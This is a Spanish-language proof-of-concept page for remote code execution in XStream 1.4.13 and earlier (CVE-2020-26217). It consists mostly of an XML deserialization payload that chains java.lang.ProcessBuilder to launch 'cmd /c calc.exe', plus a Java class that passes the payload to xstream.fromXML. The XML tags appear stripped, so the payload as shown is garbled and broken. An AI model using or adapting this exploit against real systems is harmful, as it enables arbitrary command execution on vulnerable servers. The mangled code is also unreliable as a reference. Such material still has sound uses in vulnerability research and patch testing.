## Descripción XStream puede ser usado para Ejecución Remota de Código ## Influencia Xstream <= 1.4.13 ## Entorno pom.xml com.thoughtworks.xstream xstream 1.4.13 ## Cómo usar 0 text/plain 0 -1 1

cmd /c calc.exe

java.lang.ProcessBuilder start

start KEYS 0 0 0 false 0 test CVE_2020_26217.java import com.thoughtworks.xstream.XStream; public class CVE_2020_26217 { public static void main(String[] args) { String xml_poc = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " -1\n" + " 1\n" + " \n" + " \n" + " \n" + " cmd\n" + " /c\n" + " calc.exe\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " java.lang.ProcessBuilder\n" + " start\n" + " \n" + " \n" + " start\n" + " \n" + " \n" + " \n" + " KEYS\n" + " \n" + " \n" + " \n" + " 0\n" + " 0\n" + " 0\n" + " \n" + " \n" + " false\n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " test\n" + " \n" + ""; XStream xstream = new XStream(); xstream.fromXML(xml_poc); } } Resultado: ![result](https://assets.kitploit.com/production/public/readmes/15097/7609d102c61a8b2cb250d3508c03361de2449007fa7321b9705d73707be1dd07.jpg) ## Referencia https://x-stream.github.io/CVE-2020-26217.html https://github.com/jas502n/CVE-2020-26259

Query Builder